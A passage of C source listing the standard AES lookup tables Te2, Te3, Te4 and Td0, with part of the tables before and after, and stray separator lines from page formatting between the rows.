0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U,
|
||||
0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU,
|
||||
0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U,
|
||||
0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U,
|
||||
0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U,
|
||||
0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU,
|
||||
0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU,
|
||||
0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U,
|
||||
0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU,
|
||||
0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU,
|
||||
0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U,
|
||||
0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU,
|
||||
0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U,
|
||||
0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU,
|
||||
0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U,
|
||||
0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U,
|
||||
0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U,
|
||||
0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU,
|
||||
0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U,
|
||||
0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU,
|
||||
0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U,
|
||||
0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU,
|
||||
0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U,
|
||||
0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U,
|
||||
0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU,
|
||||
0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU,
|
||||
0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU,
|
||||
0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U,
|
||||
0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U,
|
||||
0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU,
|
||||
0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U,
|
||||
0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU,
|
||||
0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U,
|
||||
0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU,
|
||||
0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U,
|
||||
0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU,
|
||||
0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU,
|
||||
0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U,
|
||||
0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU,
|
||||
0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U,
|
||||
0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU,
|
||||
0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U,
|
||||
0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U,
|
||||
0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U,
|
||||
0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU,
|
||||
0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU,
|
||||
0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U,
|
||||
0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU,
|
||||
0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U,
|
||||
};
|
||||
|
||||
static const unsigned int Te2[256] =
|
||||
{
|
||||
0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU,
|
||||
0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U,
|
||||
0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU,
|
||||
0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U,
|
||||
0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU,
|
||||
0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U,
|
||||
0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU,
|
||||
0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U,
|
||||
0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U,
|
||||
0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU,
|
||||
0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U,
|
||||
0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U,
|
||||
0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U,
|
||||
0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU,
|
||||
0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U,
|
||||
0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U,
|
||||
0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU,
|
||||
0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U,
|
||||
0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U,
|
||||
0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U,
|
||||
0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU,
|
||||
0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU,
|
||||
0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U,
|
||||
0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU,
|
||||
0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU,
|
||||
0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U,
|
||||
0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU,
|
||||
0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U,
|
||||
0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU,
|
||||
0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U,
|
||||
0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U,
|
||||
0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U,
|
||||
0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU,
|
||||
0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U,
|
||||
0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU,
|
||||
0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U,
|
||||
0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU,
|
||||
0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U,
|
||||
0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U,
|
||||
0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU,
|
||||
0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU,
|
||||
0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU,
|
||||
0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U,
|
||||
0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U,
|
||||
0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU,
|
||||
0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U,
|
||||
0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU,
|
||||
0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U,
|
||||
0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU,
|
||||
0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U,
|
||||
0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU,
|
||||
0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU,
|
||||
0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U,
|
||||
0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU,
|
||||
0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U,
|
||||
0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU,
|
||||
0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U,
|
||||
0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U,
|
||||
0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U,
|
||||
0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU,
|
||||
0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU,
|
||||
0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U,
|
||||
0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU,
|
||||
0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U,
|
||||
};
|
||||
|
||||
static const unsigned int Te3[256] =
|
||||
{
|
||||
0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U,
|
||||
0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U,
|
||||
0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U,
|
||||
0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU,
|
||||
0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU,
|
||||
0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU,
|
||||
0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U,
|
||||
0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU,
|
||||
0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU,
|
||||
0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U,
|
||||
0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U,
|
||||
0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU,
|
||||
0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU,
|
||||
0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU,
|
||||
0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU,
|
||||
0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU,
|
||||
0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U,
|
||||
0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU,
|
||||
0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU,
|
||||
0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U,
|
||||
0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U,
|
||||
0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U,
|
||||
0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U,
|
||||
0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U,
|
||||
0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU,
|
||||
0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U,
|
||||
0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU,
|
||||
0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU,
|
||||
0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U,
|
||||
0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U,
|
||||
0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U,
|
||||
0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU,
|
||||
0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U,
|
||||
0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU,
|
||||
0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU,
|
||||
0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U,
|
||||
0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U,
|
||||
0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU,
|
||||
0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U,
|
||||
0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU,
|
||||
0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U,
|
||||
0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U,
|
||||
0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U,
|
||||
0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U,
|
||||
0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU,
|
||||
0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U,
|
||||
0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU,
|
||||
0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U,
|
||||
0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU,
|
||||
0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U,
|
||||
0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU,
|
||||
0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU,
|
||||
0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU,
|
||||
0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU,
|
||||
0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U,
|
||||
0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U,
|
||||
0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U,
|
||||
0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U,
|
||||
0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U,
|
||||
0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U,
|
||||
0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU,
|
||||
0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U,
|
||||
0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU,
|
||||
0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU,
|
||||
};
|
||||
|
||||
static const unsigned int Te4[256] =
|
||||
{
|
||||
0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU,
|
||||
0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U,
|
||||
0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU,
|
||||
0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U,
|
||||
0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU,
|
||||
0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U,
|
||||
0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU,
|
||||
0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U,
|
||||
0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U,
|
||||
0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU,
|
||||
0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U,
|
||||
0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U,
|
||||
0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U,
|
||||
0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU,
|
||||
0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U,
|
||||
0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U,
|
||||
0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU,
|
||||
0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U,
|
||||
0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U,
|
||||
0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U,
|
||||
0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU,
|
||||
0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU,
|
||||
0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U,
|
||||
0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU,
|
||||
0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU,
|
||||
0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U,
|
||||
0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU,
|
||||
0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U,
|
||||
0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU,
|
||||
0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U,
|
||||
0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U,
|
||||
0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U,
|
||||
0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU,
|
||||
0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U,
|
||||
0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU,
|
||||
0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U,
|
||||
0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU,
|
||||
0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U,
|
||||
0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U,
|
||||
0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU,
|
||||
0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU,
|
||||
0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU,
|
||||
0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U,
|
||||
0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U,
|
||||
0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU,
|
||||
0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U,
|
||||
0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU,
|
||||
0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U,
|
||||
0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU,
|
||||
0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U,
|
||||
0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU,
|
||||
0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU,
|
||||
0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U,
|
||||
0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU,
|
||||
0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U,
|
||||
0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU,
|
||||
0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U,
|
||||
0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U,
|
||||
0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U,
|
||||
0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU,
|
||||
0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU,
|
||||
0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U,
|
||||
0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU,
|
||||
0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U,
|
||||
};
|
||||
|
||||
static const unsigned int Td0[256] =
|
||||
{
|
||||
0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U,
|
||||
0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U,
|
||||
0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U,
|
||||
0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU,
|
||||
0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U,
|
||||
0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U,
|
||||
0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU,
|
||||
0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U,
|
||||
0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU,
|
||||
0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U,
|
||||
0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U,
|
||||
0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U,
|
||||
0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U,
|
||||
0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU,
|
||||
0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U,
|
||||
0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU,
|
||||
0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U,
|
||||
0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU,
|
||||
0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U,
|
||||
0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U,
|
||||
0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U,
|
||||
0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU,
|
||||
0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U,
|
||||
0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU,
|
||||
0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U,
|
||||
0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU,
|
||||
0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U,
|
||||
0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU,
|
||||
0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU,
|
||||
0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U,
|
||||
0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU,
|
||||
0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U,
|
||||
0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU,
|
||||
0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U,
|
||||
0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U,
|
||||
0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U,
|
||||
0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU,
|
||||
0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U,
|
||||
0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U,
|
||||
0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU,
|
||||
0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U,
|
||||
0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U,
|
||||
0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U,
|
||||
0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U,
|
||||
0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U,
|
||||
0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU,
|
||||
0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U,
|
||||
0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U,
|
||||
0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U,
|
||||
0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U,
|
||||
0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U,
|
||||
0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU,
|
||||
0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU,
|
||||
0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU,
|
||||
0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU,
|
||||
0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U,
|
||||
0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U,
|
||||
0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU,
|
||||
0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU,
|
||||
0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U,
|
||||
0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU,
|
||||
0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U,
|
||||
0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U,
|
||||
0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U,
|
||||
};
|
||||
|
||||
static const unsigned int Td1[256] =
|
||||
{
|
||||
0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU,
|
||||
0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U,
|
||||
0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU,
|
||||
0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U,
|
||||
0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U,
|
||||
0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U,
|
||||
0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U,
|
||||
0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U,
|
||||
0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U,
|
||||
